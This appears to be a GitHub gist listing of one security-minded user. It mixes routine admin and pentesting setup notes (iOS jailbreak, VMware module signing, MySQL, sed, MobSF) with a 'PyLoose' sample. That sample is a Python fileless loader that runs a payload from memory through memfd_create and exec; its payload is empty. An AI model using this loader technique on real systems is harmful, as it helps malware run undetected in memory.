Skip to content

Instantly share code, notes, and snippets.

@hongsolo9
hongsolo9 / pyloose_sample.py
Created July 12, 2023 10:37
Sample PyLoose
import ctypes, os, base64, zlib
l = ctypes.CDLL(None)
s = l.syscall
c = base64.b64decode(b'')
e = zlib.decompress(c)
f = s(319, '', 1)
os.write(f, e)
p = '/proc/self/fd/%d' % f
os.execle(p,'smd',{})
@hongsolo9
hongsolo9 / Books_to_read.md
Created July 12, 2023 03:12
Books to read

Books to read

  1. World of Edena by Mobius
@hongsolo9
hongsolo9 / iOS pentesting setup
Created July 7, 2023 04:20
iOS pentesting setup
## Pre-requisites
1. A checkm8 vulnerable iOS device on iOS 15+ (A8 - A11) iPhone 6 to iPhone X
2. palera1n
3. USB A cable
4. Wifi connection
5. A macOS desktop/laptop
## Downloading palera1n (for macOS)
1. Go to https://github.com/palera1n/palera1n/releases
@hongsolo9
hongsolo9 / remove-lines-starting-with.sh
Last active July 28, 2022 00:44
Using sed, remove lines starting with "20220726" or "20220727" or "No"
# -i : inplace editing
# ^ : line starting with
# | : or (here we put a \| because "|" is a special character)
sed -i '/^20220727\|^20220726\|^No/!d' <filename>
@hongsolo9
hongsolo9 / Steps-to-setup-vmware-wkstn-linux.md
Created July 15, 2022 02:25
Steps to setup VMware Workstation for Linux (Kali)

Configuring VMWare Workstation for Linux

0. Prerequisites - Tools

git, build-essential, mokutil, openssl, linux headers (for kali)

sudo apt install build-essential git mokutil openssl sudo apt install linux-headers-$(uname -r)

1. Download and install VMWare Workstation (example here is for 16.2.3)

@hongsolo9
hongsolo9 / selfsign-vmware-modules.sh
Created July 15, 2022 02:16 — forked from cezarignat/selfsign-vmware-modules.sh
Self sign the required modules, vmmon and vmnet, for VMWARE to work with SecureBoot on, Ubuntu 17
#!/bin/sh
#Asking for sudo because the script needs it almost all the time
sudo echo -n
#Creating the key used to sign the two modules
echo 'Preparing vmware key...'
openssl req -new -x509 -newkey rsa:2048 -keyout VMWAREKEY.priv -outform DER -out VMWAREKEY.der -nodes -days 36500 -subj "/CN=VMware/"
#Sign the modules
@hongsolo9
hongsolo9 / my.cnf
Created April 5, 2022 09:04
Disable mysql x-protocol on IPv6, port 33060
[mysqld]
# Only allow connections from localhost
bind-address = 127.0.0.1
# mysql now comes with x-protocol and it opens a global listening port 33060 on IPV6
# To limit the global listening, enter below two lines
# If you want to disable X-protocol, uncomment the last line
mysqlx-port=33060
mysqlx-bind-address = ::1
find . -name '*.txt' -print >/tmp/test.manifest
tar -cvzf textfiles.tar.gz --files-from /tmp/test.manifest
find . -name '*.txt' | xargs rm -v
@hongsolo9
hongsolo9 / sample_websockets.py
Last active March 9, 2022 06:34
Sample Websockets code in python; Receive via the data variable; Requirements: pip3 install asyncio websockets
import asyncio
import websockets
import json
# Requirements
# pip3 install asyncio websockets
# TODO: Replace wss endpoint
stream = 'wss://stream...'
@hongsolo9
hongsolo9 / Setup-mobsf-on-Mojave-with–python-3_9.txt
Created December 4, 2020 17:22
Setup mobsf on Mojave with python 3.9
Dec 5, 2020
Issue: Currently mobsf installation breaks because of python 3_9 with module lief.
Solution: For the time being, downgrade to python 3.8 and run the setup.sh file for mobsf
If you have python 3.9 installed via homebrew, run the following on cli to downgrade to python 3.8
$ brew unlink python@3.9
$ brew unlink python@3.8